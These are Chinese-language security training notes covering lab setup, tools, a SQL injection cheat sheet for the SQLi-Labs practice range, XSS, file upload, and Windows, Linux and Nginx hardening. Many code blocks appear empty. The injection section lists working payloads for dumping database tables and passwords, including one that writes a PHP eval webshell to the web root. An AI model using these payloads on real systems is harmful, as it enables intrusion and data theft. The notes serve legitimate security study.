2025暑期实训笔记
环境搭建
虚拟机与系统安装
- 虚拟机:VMware Workstation 17(16 及以下版本兼容性问题较多)
- UOS(统信操作系统):基于 Debian 深度定制的国产 Linux 发行版
- VMware 中选 Ubuntu 64 位兼容,不要选 Linux 5.x 内核
- 安装时硬盘建议 ≥ 64G,向导默认仅 20G,需手动调整
- Win7 虚拟机:用于安全加固实验
LNMP/WAMP 网站架构
1 | |
| 层级 | 组件 | 作用 |
|---|---|---|
| 用户端 | 浏览器 | 发起 HTTP 请求 |
| 中间件 | Nginx / Apache | 接收请求、处理静态资源、反向代理 |
| 脚本解析 | PHP | 执行 Web 应用代码 |
| 数据库 | MySQL / MariaDB | 存储和查询数据 |
核心流程:用户 → 中间件 → 脚本解析 → 数据库 → 返回响应。理解这个流程即可快速定位攻击面(中间件漏洞、SQL 注入点、文件上传绕过等)。
Docker 环境
- Windows 推荐 Docker Desktop + WSL2:cmd 和 WSL bash 中的 docker 命令等效,无需在 WSL 中重复安装
- 实训部署靶场:crAPI(API 安全靶场)
- 常见问题:国内 Docker 镜像源被封禁,需配置镜像加速








工具
Yakit
国产 Web 安全工具,与 BurpSuite 同类,功能强大。
BurpSuite
Web 安全测试的标配工具,用于抓包、改包、重放、爆破等。
sqlmap
自动化 SQL 注入工具。常用参数:
1 | |



SQL 注入
基础概念
- 数字型注入:参数直接拼接为数字,如
WHERE id = $id - 字符型注入:参数被引号包裹,如
WHERE username = '$name'
三条万能技巧
- 先找闭合符:在参数后加
'、"、)、')、")等,根据报错信息确定 - 再看回显位:
ORDER BY n确定列数,UNION SELECT 1,2,3…找回显位置 - 无回显就报错或盲注:
- 报错函数:
updatexml、extractvalue、floor(rand(0)*2) - 盲注:
IF(expr, SLEEP(n), 0)时间型,或布尔逻辑判断
- 报错函数:
Less 1~22 速查表
| Less | 注入类型 | 闭合 | 核心 Payload |
|---|---|---|---|
| 1 | GET 字符型回显 | ' |
-1' UNION SELECT 1,2,group_concat(table_name) FROM information_schema.tables WHERE table_schema=database()--+ |
| 2 | GET 数字型回显 | 无 | 同上,去掉引号 |
| 3 | GET 字符+括号 | ') |
-1') UNION SELECT 1,2,3--+ |
| 4 | GET 双引号+括号 | ") |
-1") UNION SELECT 1,2,3--+ |
| 5 | GET 字符型报错 | ' |
1' AND updatexml(1,concat(0x7e,database(),0x7e),1)--+ |
| 6 | GET 双引号报错 | " |
同 5,单引号改双引号 |
| 7 | GET 字符+双括号 | ')) |
1')) UNION SELECT 1,'<?php @eval($_POST[x]);?>',3 INTO outfile '/var/www/html/shell.php'--+ |
| 8 | GET 字符盲注 | ' |
1' AND IF(substr(database(),1,1)='s',SLEEP(3),0)--+ |
| 9 | GET 字符时间盲注 | ' |
1' AND IF(length(database())>5,SLEEP(3),0)--+ |
| 10 | GET 双引号时间盲注 | " |
同 9,单引号改双引号 |
| 11 | POST 字符型 | ' |
uname=1' UNION SELECT group_concat(table_name),2 FROM information_schema.tables WHERE table_schema=database()# |
| 12 | POST 双引号+括号 | ") |
uname=1") UNION SELECT 1,database()# |
| 13 | POST 字符+括号报错 | ') |
uname=admin') AND extractvalue(1,concat(0x7e,database()))# |
| 14 | POST 双引号报错 | " |
同 13,仅符号差异 |
| 15 | POST 时间盲注 | ' |
uname=admin' AND IF(length(database())=8,SLEEP(3),0)# |
| 16 | POST 时间盲注 | ") |
同 15,双引号+括号版 |
| 17 | POST 修改密码报错 | ' |
注入点在 passwd 字段:passwd=1' AND updatexml(1,concat(0x7e,database()),1)# |
| 18 | POST UA头报错 | ' |
User-Agent: ',updatexml(1,concat(0x7e,database()),1),1)# |
| 19 | POST Referer报错 | ' |
Referer: ' AND extractvalue(1,concat(0x7e,database()))--+ |
| 20 | Cookie 联合 | ' |
Cookie: uname=-1' UNION SELECT 1,database(),3--+ |
| 21 | Cookie base64 | ') |
同 20,但 Cookie 值需整体 base64 编码 |
| 22 | Cookie base64 | " |
同 21,闭合符改为 " |
通用注入步骤
以 Less-2(数字型)为例:
- 确认注入点:
?id=1'报错 → 存在注入 - 判断类型:
?id=1和?id=2-1返回相同 → 数字型 - 确定列数:
?id=1 ORDER BY n--+二分法确定 - 找显示位:
?id=-1 UNION SELECT 1,2,3--+ - 爆库名:
?id=-1 UNION SELECT 1,2,database()--+ - 爆表名:或过滤系统表:
1
?id=-1 UNION SELECT 1,2,group_concat(table_name) FROM information_schema.tables WHERE table_schema=database()--+1
WHERE table_schema="security" - 爆列名:
1
?id=-1 UNION SELECT 1,2,group_concat(column_name) FROM information_schema.columns WHERE table_name="users"--+ - 导出数据:
1
?id=-1 UNION SELECT 1,group_concat(username),group_concat(password) FROM security.users--+
报错注入原理
核心函数:updatexml(xml_document, XPath_string, new_value)
通过构造非法 XPath 表达式触发报错,将 SQL 查询结果”带”出来:
1 | |
0x7e=~,用作分隔标记- 报错信息中会显示
concat拼接的内容,从而泄露数据
同类函数:extractvalue(1, concat(0x7e, (SELECT ...)))
布尔盲注
无回显、无报错,但页面状态有差异时使用:
1 | |
时间盲注
完全无差异时使用:
1 | |
文件写入(INTO OUTFILE)
条件:需要 MySQL FILE 权限,且知道 Web 路径
1 | |
检查权限和路径:
1 | |
POST 注入
注入点在 POST 请求体中,需用 BurpSuite 或 HackBar 发送:
1 | |
HTTP 头注入
注入点可在 User-Agent、Referer、Cookie 等请求头中。先正常登录一次,再抓包重放并在对应头中注入。




































XSS(跨站脚本攻击)
概念
攻击者将恶意 JS 代码注入到受害者的浏览器中执行。
危害
- 窃取 Cookie 实现账号接管
- 控制前端页面内容,进行钓鱼或舆论操控
JS 代码执行方式
1 | |
修复思路
- Set-Cookie 加 HttpOnly:防止 JS 读取 Cookie
- 输入检查与转义:对用户输入做 HTML 实体编码
- 富文本使用白名单:优先使用成熟编辑器,自研则严格过滤标签
文件上传
- 上传漏洞利用:绕过类型/大小限制,上传 WebShell
- upload-labs 靶场练习
- Python 编写自动化 exp/poc 脚本通过 upload-labs
安全加固
Windows 系统加固
账户管理
- 禁用无用账户(Guest 等)— 计算机管理 → 本地用户和组
- 按需分配账户:管理员、数据库、审计、来宾用户分开
- 定期清理无关账户
- 不显示最后用户名 —
gpedit.msc→ 安全设置 → 本地策略 → 安全选项 - 检查影子账户 — 注册表
HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users\Names下排查重复默认值
口令策略(gpedit.msc → 账户策略 → 密码策略)
- 密码长度 ≥ 8 位,启用复杂性要求(大小写字母、数字、特殊字符至少两种)
- 密码最长使用期限 ≤ 90 天
- 账户锁定策略:连续输错 N 次锁定 M 分钟
授权
- 远程/本地关机:仅分配给 Administrators 组
- 取得文件所有权:仅分配给 Administrators 组
- 允许本地登录 / 网络访问:指定授权用户
日志配置
- 记录登录账户、是否成功、时间、远程登录 IP
- 开启防火墙(
firewall.cpl)
配置途径
- 组策略(
gpedit.msc) - 命令行(
cmd/ PowerShell /bat/ps1) - 注册表(
regedit) - 配置文件
Linux 系统加固
账号与口令
1 | |
修改 /etc/login.defs 配置密码策略:
1 | |
修改 /etc/pam.d/common-auth 配置登录锁定:
1 | |
服务管理
1 | |
SSH 加固(/etc/ssh/sshd_config)
1 | |
文件系统
- 设置 umask 值控制默认权限
- 配置
TMOUT实现登录超时自动退出
日志
Linux 默认日志类型:
- 系统日志:
/var/log/messages - cron 日志:
/var/log/cron - 安全日志:
/var/log/secure
可在 /etc/profile 中配置命令历史记录到文件,便于审计。
Nginx 配置加固
参考有道云笔记:https://note.youdao.com/s/Pdn507wq
日志配置
在 nginx.conf 中添加日志格式(http 块内):
1 | |
在 server 块内指定日志路径:
1 | |
配置后执行:
1 | |
安全配置
禁止目录浏览:
1 | |
限制目录执行权限(放在 location ~ \.php{...} 之前):
1 | |
注意:路径必须使用相对路径。
错误页面重定向:
1 | |
隐藏版本信息:
1 | |
限制 HTTP 请求方法:
1 | |
限制 IP 访问:
1 | |
配置文件备份:修改前务必备份 nginx.conf。
AP 隔离
AP Isolation(接入点隔离)是一种无线网络安全设置。启用后,同一 AP 下的无线客户端无法相互通信,只能与有线网络通信。通常通过 VLAN 技术实现,适用于公共 Wi-Fi 场景。
相关靶场
- SQLi-Labs:SQL 注入练习(Less 1~22)
- DVWA:综合 Web 漏洞练习平台
- crAPI:API 安全靶场(Docker 部署)
- upload-labs:文件上传漏洞练习
- DC-9:Kali 渗透测试靶机(NAT 模式,探测不到时需重启)
实训截图







































